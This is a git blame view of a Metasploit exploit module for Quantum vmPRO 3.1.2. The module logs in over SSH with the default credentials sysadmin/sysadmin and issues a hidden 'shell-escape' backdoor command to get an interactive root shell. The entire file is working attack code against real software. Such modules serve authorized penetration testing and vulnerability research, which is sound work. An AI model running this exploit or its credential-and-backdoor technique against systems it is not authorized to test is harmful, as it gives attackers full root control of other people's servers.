Files
metasploit-gs/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

132 lines
3.5 KiB
Ruby
Raw Normal View History

2014-03-17 14:19:27 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-03-17 14:19:27 +07:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
2018-07-25 11:22:28 -05:00
require 'net/ssh/command_stream'
2014-03-17 14:19:27 +07:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-03-17 14:19:27 +07:00
Rank = ExcellentRanking
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
2014-03-17 14:19:27 +07:00
2022-04-18 20:17:44 +02:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Quantum vmPRO Backdoor Command',
'Description' => %q{
This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin
privileges, can get access to the restricted SSH shell. By using the hidden backdoor
"shell-escape" command it's possible to drop to a real root bash shell. This module
has been tested successfully on Quantum vmPRO 3.1.2.
},
'License' => MSF_LICENSE,
'Author' => [
2014-03-18 06:11:02 -05:00
'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module
2014-03-17 14:19:27 +07:00
],
2022-04-18 20:17:44 +02:00
'References' => [
['PACKETSTORM', '125760']
2014-03-17 14:19:27 +07:00
],
2022-04-18 20:17:44 +02:00
'DefaultOptions' => {
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2014-03-17 14:19:27 +07:00
},
2022-04-18 20:17:44 +02:00
'Payload' => {
2014-03-17 14:19:27 +07:00
'Compat' => {
2022-04-18 20:17:44 +02:00
'PayloadType' => 'cmd_interact',
2014-03-17 14:19:27 +07:00
'ConnectionType' => 'find'
}
},
2022-04-18 20:17:44 +02:00
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [
2014-03-17 14:19:27 +07:00
['Quantum vmPRO 3.1.2', {}],
],
2022-04-18 20:17:44 +02:00
'Privileged' => true,
'DisclosureDate' => '2014-03-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
2014-03-17 14:19:27 +07:00
register_options(
[
2014-03-18 06:17:41 -05:00
Opt::RHOST(),
2014-03-17 14:19:27 +07:00
Opt::RPORT(22),
OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
2022-04-18 20:16:34 +02:00
opts = ssh_client_defaults.merge({
2022-04-18 20:17:44 +02:00
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
password: pass
2022-04-18 20:16:34 +02:00
})
2014-03-17 14:19:27 +07:00
2022-04-18 20:17:44 +02:00
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
2014-03-17 14:19:27 +07:00
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
end
if ssh
conn = Net::SSH::CommandStream.new(ssh, 'shell-escape')
2014-03-17 14:19:27 +07:00
return conn
end
return nil
end
def exploit
user = datastore['USER']
pass = datastore['PASS']
print_status("#{rhost}:#{rport} - Attempt to login...")
conn = do_login(user, pass)
if conn
2017-07-19 12:48:52 +01:00
print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
2014-03-17 14:19:27 +07:00
handler(conn.lsock)
end
end
end